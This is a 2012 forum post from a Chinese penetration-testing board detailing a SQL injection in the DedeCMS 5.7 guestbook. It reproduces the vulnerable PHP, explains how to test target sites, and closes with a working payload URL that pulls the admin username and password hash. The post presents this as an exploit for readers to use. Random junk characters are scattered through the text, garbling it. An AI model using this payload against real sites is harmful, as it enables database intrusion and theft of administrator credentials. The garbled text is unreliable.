中国网络渗透测试联盟

标题: dedecms5.7最新sql注射漏洞利用 guestbook.php [打印本页]

作者: admin    时间: 2012-11-13 13:24
标题: dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
9 R5 H0 b1 ?5 _( b0 \1 }* y
  i$ ]3 C" d4 h, Q) G漏洞文件edit.inc.php具体代码:
, z! C' s) o* M- `, N1 U) S- h6 c
< ?php  9 N$ u8 Y4 T# j, H2 h

4 O7 V8 z9 f0 Z5 G  O4 Hif(!defined('DEDEINC')) exit('Request Error!');  & o+ f( w- V, I0 N: U

4 I+ W2 L1 [- Z0 H   ' |5 K8 \. t+ q  a- j/ w  C, p
1 T) E  \) x# f. A6 T
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  4 [% _& Q) L  ^) ~

. i; W1 t# h( R+ I0 a% F: U  t. t4 {else $GUEST_BOOK_POS = "guestbook.php";  
, v) L2 l' M6 p  M8 S
2 B) \/ U  `4 E5 l   
5 U& d* t+ i) d3 y) c* u# c3 d5 X( Y1 [" j- K
$id = intval($id);  + |8 D4 k. _, ]2 |' @  s
  n2 \# s* V8 g" s9 N; d* ~9 f
if(empty($job)) $job='view';  6 c( p" _4 H% p$ b

9 L! Y: F( X9 c( k' n   + Q. @: O& ~6 e- u1 x9 \

4 ]- U7 V" W: g1 D, C- y1 Eif($job=='del' && $g_isadmin)  - M, S1 R5 }" w% \% \" B
: F1 `/ ?2 ^2 E
{  
8 x1 n. ?" d; S
/ r* A) b0 s/ k+ r$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
; N% P. H; v! E( {0 e
) _0 {; V, D& m7 J$ jShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
& H1 H- ^0 c1 a" C# E5 u1 {; N3 i4 P9 v# K$ R- g! z2 ^
exit();  + O. n9 j  G1 H* l  y

$ g; V5 `7 v% V4 h1 ]0 ?% j. a}  
0 Q/ j# A' U0 e, n7 z/ E2 H5 K% L7 U
else if($job=='check' && $g_isadmin)  8 ]1 c2 N) y' i4 e
! x( Q' r$ m# `
{  
* H3 v7 |" K/ B. q/ Z9 H8 [2 ], x4 ?. q/ D, k+ ~0 j8 F
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  : B( t& S: |/ i) H
( t5 T% m  t: x4 x. H6 p
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  # j9 Q% I8 z, K( ]7 R, s( _

  Y" x" V0 P/ a) K' |* uexit();  1 y8 f0 |/ k. F0 n5 D( Z" T" ]% U

2 Q2 l& w; G, K8 U2 C}  1 U8 [& O+ Q+ p& l

& \! F: K3 a5 y3 k6 _1 C" F& lelse if($job=='editok')  
) b7 Y: z9 S1 y. \: a# S  a  s2 M5 ~
{  
2 \( b2 b/ }+ P5 Y- ~. i: Y
, z3 B- M! A( ~3 e/ e* ~$remsg = trim($remsg);  
) P! I0 {" @  [6 o8 B! ^
) f: T/ ~! q& bif($remsg!='')  * ?" `- {" L2 t- F' A) L
7 V: a( }& i( n* ]
{  
: e1 E& X: Z4 m% T& F: c! K( g" z' K" w% a
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
1 j' m; y/ q+ f% m8 t1 d' W. s1 s, O. }1 |
if($g_isadmin)  $ }  t# e$ o. L1 x

7 L; I; U+ M1 C3 H" P& @7 R' o4 }{  7 k  E* g' i9 B* `1 W  ]8 Y7 I

9 t  S% {; ]4 C4 r4 s$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  $ W* B( g0 O. k* f

+ O9 j2 B* i6 E' ?9 q//$remsg <br /><font color=red>管理员回复:</font> }  " d; m9 O) x# S( ?$ x! @
2 w9 V% U, i- y+ l9 q3 |2 m! j
else
. b1 G7 U# g' f1 ^
/ ]1 N, L% }# c$ R{  
( ]$ b& _4 Z  M: n+ Y/ c  w, ^, B/ P) _+ @+ m
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
6 C0 S: g0 ^( F3 p% E- U: m  n; O% s
4 y1 z+ Z3 v$ g  \8 T* O/ x2 N9 B' S$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
* x' N1 `1 g( A: m
1 H, q% g7 W2 l$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  0 p) P% g8 r4 f  G- y$ g
1 A2 p! c+ F5 f) ~4 k6 N
$msg = $oldmsg.$remsg;  ( J- }" o- r$ R1 L. M7 N: K/ l
9 ^" b' R$ u6 r( @9 b1 `+ P5 f
}  
9 A( O* B2 W/ N+ T0 r, Q5 \/ `5 \& E4 A; s
}  4 x( T0 X  B" ?( `: t5 g
4 q- O0 T2 a& S: ?/ b& e) t! y3 j6 T
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
5 t+ |9 t& n$ b
& ]; `- f1 ^$ U0 f8 o$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
7 ~6 v4 J' p" |4 J% Y9 d* D1 E1 T/ d. `) S
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  - s; B7 J3 S: `: E

9 B- X$ O8 j8 w8 g; A, P/ ?. Cexit();  
+ M0 y( p& t8 O3 S0 g3 g
% M3 M* q: h. A}  
& k0 z# z- g1 ~
  T& F: K% \( n) S: u: p3 Y3 B) p) h//home:www.errs.cc  * W; [; W6 K3 {7 {
' V9 d" O0 T# i9 U. @
if($g_isadmin)  
! w& k! x& W& d6 S  a& d. Y- H1 C5 R- \6 U5 o
{  , y8 y4 I3 C" H% q4 ^1 `0 W+ Q$ F* ^
; z' }( {! R3 E
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  2 _1 h5 ^% p$ D$ K3 m, w% q- P, b8 F
$ m- n% _% C- W" B! C
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  5 X+ K8 h* W2 B+ @3 e0 ^9 I# V

/ a- s- o( u1 J4 I}  ; l7 }# j5 K6 I# M8 ?' _  @

4 q7 }% m1 g$ t6 \; b4 g# W2 ~. ~else
" Q* y4 c2 }+ S# Q. D+ S6 {4 i4 b, N
{  3 s: G3 i4 o: H4 ^& D" C

2 G% G- J: h  m6 I9 u  `$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
% m; t8 g8 h& d+ {9 I
! M8 w, u2 N9 o* h) V" [3 P8 c- `' Qrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  * q* h$ A0 t# m' p: R, A) |

) x  y% U  F" o! j} 漏洞成功需要条件:) d: N- `$ d0 u, |
1. php magic_quotes_gpc=off
, c) A4 ~+ @- |- k* I2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。; {0 y1 l- c3 y0 n/ s2 ^

7 `+ s* i3 c( r+ k怎么判断是否存在漏洞:
2 _+ l3 ?' N% D) u( E1 ]4 w4 y! o先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
/ \( S  ]/ c, Q然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
( C. F3 p8 R: b: l* j7 c5 ?6 i9 f访问:
- Q$ w2 z0 K' ^& W; N/ v* n
0 J0 b+ J4 p' d9 Nwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
5 ?. [, n$ w7 P: H, w3 G$ M6 t1 q* _跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
! a3 n# d# r5 {& g9 Y7 _3 b) f! P' s: O' c& J
  Z) ~" J* F8 [, O' ^- Q
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off' d2 a6 \0 y% e( _
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
) ~% q# w" J0 B  D那么再次访问1 _4 O  j1 Y8 o! r3 R

3 ^5 ~% F/ W8 N% p0 ?# ?1 T2 r; s9 Ewww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
, Z8 z& X0 U- Z7 A
( p  N0 s( h  L# `2 Z大概利用就是这样,大家有兴趣的多研究下!!
; R# J! g7 Q( k# q& {1 U  P- w  b1 T7 J. r1 Q; w8 l; v
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
! f/ O' F+ J2 ~0 o
  O, N# B* M/ \" _view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2